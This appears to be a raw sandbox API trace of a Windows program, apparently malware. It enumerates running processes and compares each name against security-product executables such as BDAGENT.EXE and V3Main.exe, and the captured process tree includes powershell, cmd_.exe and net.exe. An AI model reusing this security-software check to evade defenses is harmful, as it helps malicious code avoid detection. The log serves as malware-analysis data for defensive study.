[0074.462] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0074.462] lstrcpyW (in: lpString1=0x18f0b0, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE" [0074.462] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0074.462] CharUpperBuffW (in: lpsz="MSOSYNC.EXE", cchLength=0xb | out: lpsz="MSOSYNC.EXE") returned 0xb [0074.462] lstrcmpW (lpString1="MSOSYNC.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.462] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.463] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.463] lstrlenW (lpString="svchost.exe") returned 11 [0074.463] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.463] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.463] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.463] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.463] lstrlenW (lpString="cmd.exe") returned 7 [0074.463] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.463] lstrcmpW (lpString1="CMD.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.463] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.463] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.463] lstrlenW (lpString="conhost.exe") returned 11 [0074.464] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.464] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.464] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0074.464] lstrcpyW (in: lpString1=0x18f0b0, lpString2="powershell.exe" | out: lpString1="powershell.exe") returned="powershell.exe" [0074.464] lstrlenW (lpString="powershell.exe") returned 14 [0074.464] CharUpperBuffW (in: lpsz="powershell.exe", cchLength=0xe | out: lpsz="POWERSHELL.EXE") returned 0xe [0074.464] lstrcmpW (lpString1="POWERSHELL.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.464] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0074.465] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd_.exe" | out: lpString1="cmd_.exe") returned="cmd_.exe" [0074.465] lstrlenW (lpString="cmd_.exe") returned 8 [0074.465] CharUpperBuffW (in: lpsz="cmd_.exe", cchLength=0x8 | out: lpsz="CMD_.EXE") returned 0x8 [0074.465] lstrcmpW (lpString1="CMD_.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.465] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.465] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.465] lstrlenW (lpString="taskeng.exe") returned 11 [0074.465] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.465] lstrcmpW (lpString1="TASKENG.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.465] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.466] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.466] lstrlenW (lpString="cmd.exe") returned 7 [0074.466] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.466] lstrcmpW (lpString1="CMD.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.466] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.466] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.466] lstrlenW (lpString="conhost.exe") returned 11 [0074.466] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.466] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.466] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.467] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.467] lstrlenW (lpString="cmd.exe") returned 7 [0074.467] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.467] lstrcmpW (lpString1="CMD.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.467] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.467] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.467] lstrlenW (lpString="conhost.exe") returned 11 [0074.467] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.467] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.467] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.468] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.468] lstrlenW (lpString="cmd.exe") returned 7 [0074.468] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.468] lstrcmpW (lpString1="CMD.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.468] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.468] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.468] lstrlenW (lpString="conhost.exe") returned 11 [0074.468] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.468] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.468] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.469] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.469] lstrlenW (lpString="cmd.exe") returned 7 [0074.469] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.469] lstrcmpW (lpString1="CMD.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.469] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.469] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.469] lstrlenW (lpString="net.exe") returned 7 [0074.469] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.469] lstrcmpW (lpString1="NET.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.469] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.470] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.470] lstrlenW (lpString="conhost.exe") returned 11 [0074.470] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.470] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.470] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0074.470] CloseHandle (hObject=0x118) returned 1 [0074.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.472] lstrcpyW (in: lpString1=0x18eea8, lpString2="V3Main.exe" | out: lpString1="V3Main.exe") returned="V3Main.exe" [0074.472] lstrlenW (lpString="V3Main.exe") returned 10 [0074.472] CharUpperBuffW (in: lpsz="V3Main.exe", cchLength=0xa | out: lpsz="V3MAIN.EXE") returned 0xa [0074.472] Process32FirstW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.473] lstrcpyW (in: lpString1=0x18f0b0, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0074.473] lstrlenW (lpString="[System Process]") returned 16 [0074.473] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0074.473] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="V3MAIN.EXE") returned -1 [0074.473] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.473] lstrcpyW (in: lpString1=0x18f0b0, lpString2="System" | out: lpString1="System") returned="System" [0074.473] lstrlenW (lpString="System") returned 6 [0074.473] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0074.473] lstrcmpW (lpString1="SYSTEM", lpString2="V3MAIN.EXE") returned -1 [0074.473] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.474] lstrcpyW (in: lpString1=0x18f0b0, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0074.474] lstrlenW (lpString="smss.exe") returned 8 [0074.474] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0074.474] lstrcmpW (lpString1="SMSS.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.474] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.474] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.474] lstrlenW (lpString="csrss.exe") returned 9 [0074.474] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.474] lstrcmpW (lpString1="CSRSS.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.474] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.475] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0074.475] lstrlenW (lpString="wininit.exe") returned 11 [0074.475] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0074.475] lstrcmpW (lpString1="WININIT.EXE", lpString2="V3MAIN.EXE") returned 1 [0074.475] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.475] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.475] lstrlenW (lpString="csrss.exe") returned 9 [0074.475] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.475] lstrcmpW (lpString1="CSRSS.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.475] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.475] lstrcpyW (in: lpString1=0x18f0b0, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0074.475] lstrlenW (lpString="winlogon.exe") returned 12 [0074.476] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0074.476] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="V3MAIN.EXE") returned 1 [0074.476] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.476] lstrcpyW (in: lpString1=0x18f0b0, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0074.476] lstrlenW (lpString="services.exe") returned 12 [0074.476] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0074.476] lstrcmpW (lpString1="SERVICES.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.476] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.476] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0074.476] lstrlenW (lpString="lsass.exe") returned 9 [0074.476] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0074.476] lstrcmpW (lpString1="LSASS.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.477] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.477] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0074.477] lstrlenW (lpString="lsm.exe") returned 7 [0074.477] CharUpperBuffW (in: lpsz="lsm.exe", cchLength=0x7 | out: lpsz="LSM.EXE") returned 0x7 [0074.477] lstrcmpW (lpString1="LSM.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.477] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.477] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.477] lstrlenW (lpString="svchost.exe") returned 11 [0074.477] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.477] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.477] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.478] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.478] lstrlenW (lpString="svchost.exe") returned 11 [0074.478] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.478] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.478] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.478] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.478] lstrlenW (lpString="svchost.exe") returned 11 [0074.478] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.478] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.478] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.479] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.479] lstrlenW (lpString="svchost.exe") returned 11 [0074.479] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.479] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.479] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.479] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.479] lstrlenW (lpString="svchost.exe") returned 11 [0074.479] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.479] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.479] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.528] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.528] lstrlenW (lpString="svchost.exe") returned 11 [0074.528] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.528] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.528] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.528] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.528] lstrlenW (lpString="svchost.exe") returned 11 [0074.528] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.528] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.528] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.529] lstrcpyW (in: lpString1=0x18f0b0, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0074.529] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.529] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0074.529] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.529] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.529] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.529] lstrlenW (lpString="taskhost.exe") returned 12 [0074.529] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.529] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.529] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.530] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.530] lstrlenW (lpString="svchost.exe") returned 11 [0074.530] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.530] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.530] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.530] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.530] lstrlenW (lpString="taskeng.exe") returned 11 [0074.530] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.530] lstrcmpW (lpString1="TASKENG.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.530] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.531] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.531] lstrlenW (lpString="svchost.exe") returned 11 [0074.531] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: 